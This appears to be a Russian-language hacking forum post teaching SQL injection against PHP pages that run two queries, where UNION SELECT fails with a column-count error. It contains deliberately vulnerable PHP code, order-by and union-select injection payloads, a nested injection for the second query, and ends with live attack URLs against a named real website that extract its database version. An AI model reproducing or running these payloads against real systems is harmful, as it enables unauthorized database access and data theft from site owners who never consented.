Материал относительно двух запросов подряд. Думаю все кто знаком с инъекциями с этой ошибкой сталкивались. При подборе количества полей через
order by показывает допустим
4 поля, а при запросе
union select 1,2,3,4 выкидывает ошибку
different number of columns.
Обычно на вопрос, что это, кто-нибудь отвечает, что-то типа "там два запроса","ищи другой параметр", "юзай подзапросы" и это как-бы само по себе подразумевает, что вывода не будет.
Это не совсем так, а точнее совсем не так. Количество запросов не влияет на вывод, он либо есть, либо нет, и сколько запросов идёт к базе без разницы.
Давайте разберёмся. Допустим код выглядит так (не знаю кому это может понадобится, рассматриваем теорию):
$sql="SELECT page_title, page_autor, page_content, page_date FROM pages WHERE id=$id order by id limit 1";
$sql1="SELECT page_title, page_autor, page_content FROM pages WHERE id=$id order by id limit 1";$res=mysql_query($sql);
$result = mysql_fetch_row($res);
$res1=mysql_query($sql1);
$result1 = mysql_fetch_row($res1);
echo $result[0]."<br>";echo $result[1]."<br>";
echo $result[2]."<br>";
echo $result[3]."<br>";
echo $result1[0]."<br>";
echo $result1[1]."<br>";
echo $result1[2]."<br>";
Что будет при подборе:
?id=2+order+by+3/*--------вывод без ошибок
?id=2+order+by+4/*--------ошибка Unknown column '4' in 'order clause', но вывод из первого запроса остался. Ошибка возникает во втором запросе
?id=2+order+by+5/*--------тут уже вывода нет, оба запроса не верны
Начинаем вывод полей:
?id=-2+union+select+1,2,3/*-------вывод из 2-го запроса (в нём кол-во полей совпало)?
id=-2+union+select+1,2,3,4/*-------из первого
То есть вывод есть!
При расположении запросов в обратном порядке, будет то-же самое.
Далее, усложним задачу. Вывод из разных таблиц:
$sql="SELECT page_title, page_autor, page_content, page_date FROM pages WHERE id=$id";
$res=mysql_query($sql);
$result = mysql_fetch_row($res);
$sql1="SELECT title, date FROM news WHERE id=$id";
$res1=mysql_query($sql1);
$result1 = mysql_fetch_row($res1);
echo $result[0]."<br>";
echo $result[1]."<br>";
echo $result[2]."<br>";
echo $result[3]."<br>";
echo "result1 : ".$result1[0]."<br>";
echo "result1 : ".$result1[1]."<br>";
?id=1+order+by+2/*------вывод
?id=1+order+by+3/*------ошибка, но вывод из первого запроса
?id=1+order+by+5/*------и наконец ошибка
Выводим:
?id=-1+union+select+1,2/*-------вывод (2 запрс верен)
?id=-1+union+select+1,2,3,4/*--вывод (1 запрс верен)
Ну и наконец смертельный номер :) Результат одного запроса, идёт в другой запрос:
$sql1="SELECT page_title, id, page_content, page_date FROM pages WHERE page_autor='$id'";
$res1=mysql_query($sql1);
$result1 = mysql_fetch_row($res1);
if($res1){
$sql="SELECT title, date FROM news WHERE id='$result1[1]'";
$res=mysql_query($sql);
$result = mysql_fetch_row($res);
echo "result : ".$result[0]."<br>";
echo "result : ".$result[1]."<br>";
}
echo $result1[0]."<br>";
echo $result1[1]."<br>";
echo $result1[2]."<br>";
echo $result1[3]."<br>";
?id=sa'+order+by+4/*------вывод
?id=sa'+order+by+5/*------ошибка
Вывод:
?id=a'+union+select+1,2,3,4/*---из 1 запроса (второй кстати тоже будет верным)
Ну и из второго тоже можно вывести, но это конечно так, для общего развития:
?id=a'+union+select+1,
"-1'+union+select+1,2/*",3,4/*
Здесь вывод из двух запросов.
Это конечно не полный перечень возможных запросов, но целью было не рассмотрение всех возможных вариантов. Этим дополнением я хотел показать, что неважно сколько запросов идёт к базе, вывод можно сделать, просто перебор кол-ва столбцов будет несколько отличаться от обычного.
Разумеется ничего нового в материале нет, но надеюсь вопросов связанных с этой ошибкой поубавится.
Ну и пример из жизни (взял первую, что нашол, из топика по скулям, кого обидел не поставив копирайты сори)
http://presscenter.kz/index.php?show=news&id=2+order+by+5/*
Вывод:
http://presscenter.kz/index.php?show=news&id=2+order+by+6/*
Unknown column '6' in 'order clause'
http://presscenter.kz/index.php?show=news&id=2+union+select+1,2,3,4,5/*
The used SELECT statements have a different number of columns
Вывод:
http://presscenter.kz/index.php?show=news&id=-1+union+select+concat(0x3a3a3a3a,Version()),2,3,4,5,6,7,8,9/*
Первоисточник